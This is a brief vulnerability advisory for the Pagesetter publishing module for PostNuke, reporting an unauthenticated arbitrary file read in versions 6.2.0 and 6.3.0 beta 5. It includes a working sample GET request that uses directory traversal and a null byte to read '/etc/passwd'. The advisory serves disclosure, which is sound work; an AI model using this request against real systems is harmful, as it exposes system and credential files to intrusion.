vendor description:
---------------

Pagesetter is a publishing module that allows the PostNuke users to
create web pages from structured data, with the data structure and
output templates defined by the PostNuke administrator.

[Source: http://www.elfisk.dk]

vulnerability overview:
---------------

The 3rd party module Pagesetter - up to its latest version (6.3.0
beta 5) - for PostNuke allows to read arbitrary files. An attacker
does not need to be logged in but has to know the filename.

---------------

Here is a sample request that reads the file '/etc/passwd':

$ GET
'http://example.com/index.php?module=Pagesetter&type=file&func=preview&id=../../../../../../../../../etc/passwd%00'

vulnerable versions:
---------------

Version 6.2.0 as well as 6.3.0 beta 5 are vulnerable to the
described attack. No older versions were tested.
